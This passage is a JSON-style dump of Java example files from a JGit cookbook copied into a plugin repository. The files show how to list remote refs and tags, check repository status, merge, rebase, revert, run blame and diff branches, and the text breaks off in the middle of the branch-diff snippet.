    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/ListRemoteRepository.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Ref;\n\nimport java.util.Collection;\nimport java.util.Map;\n\n\n/**\n * Simple snippet which shows how to list heads/tags of remote repositories without\n * a local repository\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ListRemoteRepository {\n\n    private static final String REMOTE_URL = \"https://github.com/github/testrepo.git\";\n\n    public static void main(String[] args) throws GitAPIException {\n        // then clone\n        System.out.println(\"Listing remote repository \" + REMOTE_URL);\n        Collection<Ref> refs = Git.lsRemoteRepository()\n                .setHeads(true)\n                .setTags(true)\n                .setRemote(REMOTE_URL)\n                .call();\n\n        for (Ref ref : refs) {\n            System.out.println(\"Ref: \" + ref);\n        }\n\n        final Map<String, Ref> map = Git.lsRemoteRepository()\n                .setHeads(true)\n                .setTags(true)\n                .setRemote(REMOTE_URL)\n                .callAsMap();\n\n        System.out.println(\"As map\");\n        for (Map.Entry<String, Ref> entry : map.entrySet()) {\n            System.out.println(\"Key: \" + entry.getKey() + \", Ref: \" + entry.getValue());\n        }\n\n        refs = Git.lsRemoteRepository()\n                .setRemote(REMOTE_URL)\n                .call();\n\n        System.out.println(\"All refs\");\n        for (Ref ref : refs) {\n            System.out.println(\"Ref: \" + ref);\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/ListRemotes.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.Collection;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Snippet which shows how to iterate remotes, i.e. \"git ls-remote\"\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ListRemotes {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // all refs\n            try (Git git = new Git(repository)) {\n                Collection<Ref> refs = git.lsRemote().call();\n                for (Ref ref : refs) {\n                    System.out.println(\"Ref: \" + ref);\n                }\n\n                // heads only\n                refs = git.lsRemote().setHeads(true).call();\n                for (Ref ref : refs) {\n                    System.out.println(\"Head: \" + ref);\n                }\n\n                // tags only\n                refs = git.lsRemote().setTags(true).call();\n                for (Ref ref : refs) {\n                    System.out.println(\"Remote tag: \" + ref);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/ListTags.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014, 2021 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.LogCommand;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Simple snippet which shows how to list all Tags\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ListTags {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (Git git = new Git(repository)) {\n                List<Ref> call = git.tagList().call();\n                for (Ref ref : call) {\n                    System.out.println(\"Tag: \" + ref + \" \" + ref.getName() + \" \" + ref.getObjectId().getName() +\n\t\t\t\t\t\t\t(ref.getPeeledObjectId() == null ? \"\" : \", peeled: \" + ref.getPeeledObjectId().getName()));\n\n                    // fetch all commits for this tag\n                    LogCommand log = git.log();\n\n                    Ref peeledRef = repository.getRefDatabase().peel(ref);\n                    if(peeledRef.getPeeledObjectId() != null) {\n                    \tlog.add(peeledRef.getPeeledObjectId());\n                    } else {\n                    \tlog.add(ref.getObjectId());\n                    }\n\n        \t\t\tIterable<RevCommit> logs = log.call();\n        \t\t\tfor (RevCommit rev : logs) {\n        \t\t\t\tSystem.out.println(\"Commit: \" + rev /* + \", name: \" + rev.getName() + \", id: \" + rev.getId().getName() */);\n        \t\t\t}\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/ListTagsOnBranch.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2021 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * A snippet which fetches all the tags of the repository and then walks\n * commits on a given branch and prints out whenever a tag is found for\n * a commit.\n *\n * I.e. it prints all tags that are applied to commits on the branch.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ListTagsOnBranch {\n\n\tprivate static final String BRANCH = \"remotes/origin/master\";\n\n\tpublic static void main(String[] args) throws IOException, GitAPIException {\n\t\tlong start = System.currentTimeMillis();\n\t\ttry (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n\t\t\ttry (Git git = new Git(repository)) {\n\t\t\t\t// create a map of commit-refs and corresponding list of tags\n\t\t\t\tMap<ObjectId, List<Ref>> tagsMap = git.tagList().call().stream()\n\t\t\t\t\t\t.collect(Collectors.groupingBy(ref -> {\n\t\t\t\t\t\t\tif (ref.getPeeledObjectId() == null) {\n\t\t\t\t\t\t\t\treturn ref.getObjectId();\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\treturn ref.getPeeledObjectId();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}, Collectors.mapping(ref -> ref, Collectors.toList())));\n\n\t\t\t\tIterable<RevCommit> logs = git.log()\n\t\t\t\t\t\t.add(repository.resolve(BRANCH))\n\t\t\t\t\t\t.call();\n\t\t\t\tint count = 0;\n\n\t\t\t\tfor (RevCommit rev : logs) {\n\t\t\t\t\t//System.out.println(\"Commit: \" + rev /* + \", name: \" + rev.getName() + \", id: \" + rev.getId().getName() */);\n\t\t\t\t\tcount++;\n\n\t\t\t\t\tif (tagsMap.containsKey(rev.getId())) {\n\t\t\t\t\t\tSystem.out.println(\"Found tags \" + tagsMap.get(rev.getId()) + \" for \" + rev);\n\t\t\t\t\t}\n\t\t\t\t}\n                System.out.println(\"Had \" + count + \" commits overall on branch \" + BRANCH\n\t\t\t\t\t\t+ \", iteration took \" + (System.currentTimeMillis() - start) + \"ms\");\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/ListUncommittedChanges.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.Map;\nimport java.util.Set;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.Status;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.IndexDiff.StageState;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport org.eclipse.jgit.lib.Repository;\n\n\n\n/**\n * Simple snippet which shows how to list various types of uncommitted changes\n * of a Git repository\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ListUncommittedChanges {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            System.out.println(\"Listing uncommitted changes:\");\n            try (Git git = new Git(repository)) {\n                Status status = git.status().call();\n                Set<String> conflicting = status.getConflicting();\n                for(String conflict : conflicting) {\n                    System.out.println(\"Conflicting: \" + conflict);\n                }\n\n                Set<String> added = status.getAdded();\n                for(String add : added) {\n                    System.out.println(\"Added: \" + add);\n                }\n\n                Set<String> changed = status.getChanged();\n                for(String change : changed) {\n                    System.out.println(\"Change: \" + change);\n                }\n\n                Set<String> missing = status.getMissing();\n                for(String miss : missing) {\n                    System.out.println(\"Missing: \" + miss);\n                }\n\n                Set<String> modified = status.getModified();\n                for(String modify : modified) {\n                    System.out.println(\"Modification: \" + modify);\n                }\n\n                Set<String> removed = status.getRemoved();\n                for(String remove : removed) {\n                    System.out.println(\"Removed: \" + remove);\n                }\n\n                Set<String> uncommittedChanges = status.getUncommittedChanges();\n                for(String uncommitted : uncommittedChanges) {\n                    System.out.println(\"Uncommitted: \" + uncommitted);\n                }\n\n                Set<String> untracked = status.getUntracked();\n                for(String untrack : untracked) {\n                    System.out.println(\"Untracked: \" + untrack);\n                }\n\n                Set<String> untrackedFolders = status.getUntrackedFolders();\n                for(String untrack : untrackedFolders) {\n                    System.out.println(\"Untracked Folder: \" + untrack);\n                }\n\n                Map<String, StageState> conflictingStageState = status.getConflictingStageState();\n                for(Map.Entry<String, StageState> entry : conflictingStageState.entrySet()) {\n                    System.out.println(\"ConflictingState: \" + entry);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/MergeChanges.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2017 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.MergeCommand;\nimport org.eclipse.jgit.api.MergeResult;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.Arrays;\nimport java.util.Map;\n\n/**\n * Snippet which shows how to merge changes from another branch.\n */\npublic class MergeChanges {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        final File localPath;\n        try (Repository repository = CookbookHelper.createNewRepository()) {\n            localPath = repository.getWorkTree();\n\n            try (Git git = new Git(repository)) {\n                // create some commit on master\n                createCommit(repository, git, \"masterFile\", \"content12\");\n\n                // create branch \"changes\"\n                Ref changes = git.branchCreate().setName(\"changes\").call();\n                System.out.println(\"Result of creating the branch: \" + changes);\n\n                // now start a change on master\n                createCommit(repository, git, \"sharedFile\", \"content12\");\n\n                // check out branch \"changes\"\n                Ref checkout = git.checkout().setName(\"changes\").call();\n                System.out.println(\"Result of checking out the branch: \" + checkout);\n\n                // create some commit on branch \"changes\", one of them conflicting with the change on master\n                createCommit(repository, git, \"branchFile\", \"content98\");\n                createCommit(repository, git, \"sharedFile\", \"content98\");\n\n                // check out \"master\"\n                checkout = git.checkout().setName(\"master\").call();\n                System.out.println(\"Result of checking out master: \" + checkout);\n\n                // retrieve the objectId of the latest commit on branch\n                ObjectId mergeBase = repository.resolve(\"changes\");\n\n                // perform the actual merge, here we disable FastForward to see the\n                // actual merge-commit even though the merge is trivial\n                MergeResult merge = git.merge().\n                        include(mergeBase).\n                        setCommit(true).\n                        setFastForward(MergeCommand.FastForwardMode.NO_FF).\n                        //setSquash(false).\n                        setMessage(\"Merged changes\").\n                        call();\n                System.out.println(\"Merge-Results for id: \" + mergeBase + \": \" + merge);\n                for (Map.Entry<String,int[][]> entry : merge.getConflicts().entrySet()) {\n                    System.out.println(\"Key: \" + entry.getKey());\n                    for(int[] arr : entry.getValue()) {\n                        System.out.println(\"value: \" + Arrays.toString(arr));\n                    }\n                }\n            }\n\n            // clean up here to not keep using more and more disk-space for these samples\n            FileUtils.deleteDirectory(localPath);\n        }\n    }\n\n    private static void createCommit(Repository repository, Git git, String fileName, String content) throws IOException, GitAPIException {\n        // create the file\n        File myFile = new File(repository.getDirectory().getParent(), fileName);\n        FileUtils.writeStringToFile(myFile, content, \"UTF-8\");\n\n        // run the add\n        git.add()\n                .addFilepattern(fileName)\n                .call();\n\n        // and then commit the changes\n        RevCommit revCommit = git.commit()\n                .setMessage(\"Added \" + fileName)\n                .call();\n\n        System.out.println(\"Committed file \" + myFile + \" as \" + revCommit + \" to repository at \" + repository.getDirectory());\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/RebaseToOriginMaster.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n   Copyright 2013, 2014 Dominik Stadler\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n */\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.RebaseCommand;\nimport org.eclipse.jgit.api.RebaseCommand.InteractiveHandler;\nimport org.eclipse.jgit.api.RebaseResult;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.errors.IllegalTodoFileModification;\nimport org.eclipse.jgit.lib.RebaseTodoLine;\nimport org.eclipse.jgit.lib.RebaseTodoLine.Action;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.lib.RepositoryState;\n\n/**\n * Snippet which shows how to rebase local changes onto a remote branch.\n *\n * See also http://stackoverflow.com/questions/22945257/jgit-how-to-squash-commits\n *\n * @author dominik.stadler at gmx.at\n */\npublic class RebaseToOriginMaster {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            // all refs\n            try (Git git = new Git(repository)) {\n                InteractiveHandler handler = new InteractiveHandler() {\n                    @Override\n                    public void prepareSteps(List<RebaseTodoLine> steps) {\n                        // the handler receives the list of commits that are rebased, i.e. the ones on the local branch\n                        for(RebaseTodoLine step : steps) {\n                            // for each step, you can decide which action should be taken\n                            // default is PICK\n                            try {\n                                // by selecting \"EDIT\", the rebase will stop and ask you to edit the commit-contents\n                                step.setAction(Action.EDIT);\n                            } catch (IllegalTodoFileModification e) {\n                                throw new IllegalStateException(e);\n                            }\n                        }\n                    }\n\n                    @Override\n                    public String modifyCommitMessage(String oldMessage) {\n                        return oldMessage;\n                    }\n                };\n\n                RebaseResult result = git.rebase().setUpstream(\"origin/master\").runInteractively(handler).call();\n                System.out.println(\"Rebase had state: \" + result.getStatus() + \": \" + result.getConflicts());\n\n                // because of the \"EDIT\" in the InteractiveHandler, the rebase was stopped in-between\n                // now you can adjust the commit and continue rebasing with setOperation(RebaseCommand.Operation.CONTINUE)\n                // to use the local changes for the commit or setOperation(RebaseCommand.Operation.SKIP) to skip this\n                // commit (i.e. remove it from the branch!)\n\n                if(!result.getStatus().isSuccessful() &&\n                        // sometimes the repository does not need aborting afterwards?!\n                        repository.getRepositoryState() != RepositoryState.SAFE) {\n                    // if rebasing stopped or failed, you can get back to the original state by running it with setOperation(RebaseCommand.Operation.ABORT)\n                    result = git.rebase().setUpstream(\"origin/master\").runInteractively(handler).setOperation(RebaseCommand.Operation.ABORT).call();\n                    System.out.println(\"Aborted reabse with state: \" + result.getStatus() + \": \" + result.getConflicts());\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/RevertChanges.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.nio.ByteBuffer;\nimport java.nio.CharBuffer;\nimport java.nio.charset.Charset;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.nio.file.StandardOpenOption;\n\n/**\n * Simple snippet which shows how to set a modified tracked file back to its state\n * in the most recent commit. This does not make a new commit that reverts a previous commit;\n * this reverts a modified file back to its unmodified state (according to most recent commit)\n *\n * @author JordanMartinez\n */\npublic class RevertChanges {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        final File localPath;\n        try (Repository repository = CookbookHelper.createNewRepository()) {\n            localPath = repository.getWorkTree();\n\n            System.out.println(\"Listing local branches:\");\n            try (Git git = new Git(repository)) {\n                // set up a file\n                String fileName = \"temptFile.txt\";\n                File tempFile = new File(repository.getDirectory().getParentFile(), fileName);\n                if(!tempFile.createNewFile()) {\n                    throw new IOException(\"Could not create temporary file \" + tempFile);\n                }\n                Path tempFilePath = tempFile.toPath();\n\n                // write some initial text to it\n                String initialText = \"Initial Text\";\n                System.out.println(\"Writing text [\" + initialText + \"] to file [\" + tempFile.toString() + \"]\");\n                Files.write(tempFilePath, initialText.getBytes());\n\n                // add the file and commit it\n                git.add().addFilepattern(fileName).call();\n                git.commit().setMessage(\"Added untracked file \" + fileName + \"to repo\").call();\n\n                // modify the file\n                Files.write(tempFilePath, \"Some modifications\".getBytes(), StandardOpenOption.APPEND);\n\n                // assert that file's text does not equal initialText\n                if (initialText.equals(getTextFromFilePath(tempFilePath))) {\n                    throw new IllegalStateException(\"Modified file's text should not equal \" +\n                            \"its original state after modification\");\n                }\n\n                System.out.println(\"File now has text [\" + getTextFromFilePath(tempFilePath) + \"]\");\n\n                // revert the changes\n                git.checkout().addPath(fileName).call();\n\n                // text should no longer have modifications\n                if (!initialText.equals(getTextFromFilePath(tempFilePath))) {\n                    throw new IllegalStateException(\"Reverted file's text should equal its initial text\");\n                }\n\n                System.out.println(\"File modifications were reverted. \" +\n                        \"File now has text [\" + getTextFromFilePath(tempFilePath) + \"]\");\n            }\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(localPath);\n    }\n\n    private static String getTextFromFilePath(Path file) throws IOException {\n        byte[] bytes = Files.readAllBytes(file);\n        CharBuffer chars = Charset.defaultCharset().decode(ByteBuffer.wrap(bytes));\n        return chars.toString();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/RevertCommit.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport org.apache.commons.io.FileUtils;\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.RevertCommand;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n/**\n * Simple snippet which shows how to revert a previous commit\n *\n * @author JordanMartinez\n */\npublic class RevertCommit {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        final File path;\n        try (Repository repository = CookbookHelper.createNewRepository()) {\n            try (Git git = new Git(repository)) {\n                path = repository.getWorkTree();\n                System.out.println(\"Repository at \" + path);\n\n                // Create a new file and add it to the index\n                File newFile = new File(path, \"file1.txt\");\n                FileUtils.writeStringToFile(newFile, \"Line 1\\r\\n\", \"UTF-8\", true);\n                git.add().addFilepattern(\"file1.txt\").call();\n                RevCommit rev1 = git.commit().setAuthor(\"test\", \"test@test.com\").setMessage(\"Commit Log 1\").call();\n                System.out.println(\"Rev1: \" + rev1);\n\n                // commit some changes\n                FileUtils.writeStringToFile(newFile, \"Line 2\\r\\n\", \"UTF-8\", true);\n                git.add().addFilepattern(\"file1.txt\").call();\n                RevCommit rev2 = git.commit().setAll(true).setAuthor(\"test\", \"test@test.com\").setMessage(\"Commit Log 2\").call();\n                System.out.println(\"Rev2: \" + rev2);\n\n                // commit some changes\n                FileUtils.writeStringToFile(newFile, \"Line 3\\r\\n\", \"UTF-8\", true);\n                git.add().addFilepattern(\"file1.txt\").call();\n                RevCommit rev3 = git.commit().setAll(true).setAuthor(\"test\", \"test@test.com\").setMessage(\"Commit Log 3\").call();\n                System.out.println(\"Rev3: \" + rev3);\n\n                // print logs\n                Iterable<RevCommit> gitLog = git.log().call();\n                for (RevCommit logMessage : gitLog) {\n                    System.out.println(\"Before revert: \" + logMessage.getName() + \" - \" + logMessage.getFullMessage());\n                }\n\n                RevertCommand revertCommand = git.revert();\n                // revert to revision 2\n                revertCommand.include(rev3);\n                RevCommit revCommit = revertCommand.call();\n                System.out.println(\"Reverted: \" + revCommit);\n                System.out.println(\"Reverted refs: \" + revertCommand.getRevertedRefs());\n                System.out.println(\"Unmerged paths: \" + revertCommand.getUnmergedPaths());\n                System.out.println(\"Failing results: \" + revertCommand.getFailingResult());\n\n                // print logs\n                gitLog = git.log().call();\n                for (RevCommit logMessage : gitLog) {\n                    System.out.println(\"After revert: \" + logMessage.getName() + \" - \" + logMessage.getFullMessage());\n                }\n\n                System.out.println(\"File contents: \" + FileUtils.readFileToString(newFile, \"UTF-8\"));\n            }\n        }\n\n        // clean up here to not keep using more and more disk-space for these samples\n        FileUtils.deleteDirectory(path);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/ShowBlame.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\n/*\n    Copyright 2013, 2014, 2017 Dominik Stadler\n\n    Licensed under the Apache License, Version 2.0 (the \"License\");\n    you may not use this file except in compliance with the License.\n    You may obtain a copy of the License at\n\n      http://www.apache.org/licenses/LICENSE-2.0\n\n    Unless required by applicable law or agreed to in writing, software\n    distributed under the License is distributed on an \"AS IS\" BASIS,\n    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n    See the License for the specific language governing permissions and\n    limitations under the License.\n*/\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.FileInputStream;\nimport java.io.IOException;\n\nimport org.apache.commons.io.IOUtils;\nimport org.eclipse.jgit.api.BlameCommand;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.blame.BlameResult;\nimport org.eclipse.jgit.lib.ObjectId;\nimport org.eclipse.jgit.lib.ObjectLoader;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevTree;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.eclipse.jgit.treewalk.TreeWalk;\nimport org.eclipse.jgit.treewalk.filter.PathFilter;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\n\n\n/**\n * Simple snippet which shows how to get a diff showing who\n * changed which line in a file.\n *\n * It uses HEAD~~ to select the version of README.md two commits ago\n * and reads the blame information for it.\n *\n * Then it prints out the number of lines and the actual number of lines in the\n * latest/local version of the file.\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ShowBlame {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        // prepare a new test-repository\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            BlameCommand blamer = new BlameCommand(repository);\n            ObjectId commitID = repository.resolve(\"HEAD~~\");\n            blamer.setStartCommit(commitID);\n            blamer.setFilePath(\"README.md\");\n            BlameResult blame = blamer.call();\n\n            // read the number of lines from the given revision, this excludes changes from the last two commits due to the \"~~\" above\n            int lines = countLinesOfFileInCommit(repository, commitID, \"README.md\");\n            for (int i = 0; i < lines; i++) {\n                RevCommit commit = blame.getSourceCommit(i);\n                System.out.println(\"Line: \" + i + \": \" + commit);\n            }\n\n            final int currentLines;\n            try (final FileInputStream input = new FileInputStream(\"README.md\")) {\n                currentLines = IOUtils.readLines(input, \"UTF-8\").size();\n            }\n\n            System.out.println(\"Displayed commits responsible for \" + lines + \" lines of README.md, current version has \" + currentLines + \" lines\");\n        }\n    }\n\n    private static int countLinesOfFileInCommit(Repository repository, ObjectId commitID, String name) throws IOException {\n        try (RevWalk revWalk = new RevWalk(repository)) {\n            RevCommit commit = revWalk.parseCommit(commitID);\n            RevTree tree = commit.getTree();\n            System.out.println(\"Having tree: \" + tree);\n\n            // now try to find a specific file\n            try (TreeWalk treeWalk = new TreeWalk(repository)) {\n                treeWalk.addTree(tree);\n                treeWalk.setRecursive(true);\n                treeWalk.setFilter(PathFilter.create(name));\n                if (!treeWalk.next()) {\n                    throw new IllegalStateException(\"Did not find expected file 'README.md'\");\n                }\n\n                ObjectId objectId = treeWalk.getObjectId(0);\n                ObjectLoader loader = repository.open(objectId);\n\n                // load the content of the file into a stream\n                ByteArrayOutputStream stream = new ByteArrayOutputStream();\n                loader.copyTo(stream);\n\n                revWalk.dispose();\n\n                return IOUtils.readLines(new ByteArrayInputStream(stream.toByteArray()), \"UTF-8\").size();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jgit/src/main/java/com/jun/plugin/jgit/porcelain/ShowBranchDiff.java",
    "content": "package com.jun.plugin.jgit.porcelain;\n\nimport org.eclipse.jgit.api.Git;\nimport org.eclipse.jgit.api.errors.GitAPIException;\nimport org.eclipse.jgit.diff.DiffEntry;\nimport org.eclipse.jgit.lib.ObjectReader;\nimport org.eclipse.jgit.lib.Ref;\nimport org.eclipse.jgit.lib.Repository;\nimport org.eclipse.jgit.revwalk.RevCommit;\nimport org.eclipse.jgit.revwalk.RevTree;\nimport org.eclipse.jgit.revwalk.RevWalk;\nimport org.eclipse.jgit.treewalk.AbstractTreeIterator;\nimport org.eclipse.jgit.treewalk.CanonicalTreeParser;\n\nimport com.jun.plugin.jgit.helper.CookbookHelper;\n\nimport java.io.IOException;\nimport java.util.List;\n\n\n\n/**\n * Simple snippet which shows how to show diffs between branches\n *\n * @author dominik.stadler at gmx.at\n */\npublic class ShowBranchDiff {\n\n    public static void main(String[] args) throws IOException, GitAPIException {\n        try (Repository repository = CookbookHelper.openJGitCookbookRepository()) {\n            try (Git git = new Git(repository)) {\n                if(repository.exactRef(\"refs/heads/testbranch\") == null) {\n                    // first we need to ensure that the remote branch is visible locally\n                    Ref ref = git.branchCreate().setName(\"testbranch\").setStartPoint(\"origin/testbranch\").call();\n\n                    System.out.println(\"Created local testbranch with ref: \" + ref);\n                }\n\n                // the diff works on TreeIterators, we prepare two for the two branches\n                AbstractTreeIterator oldTreeParser = prepareTreeParser(repository, \"refs/heads/testbranch\");\n                AbstractTreeIterator newTreeParser = prepareTreeParser(repository, \"refs/heads/master\");\n\n                // then the procelain diff-command returns a list of diff entries\n                List<DiffEntry> diff = 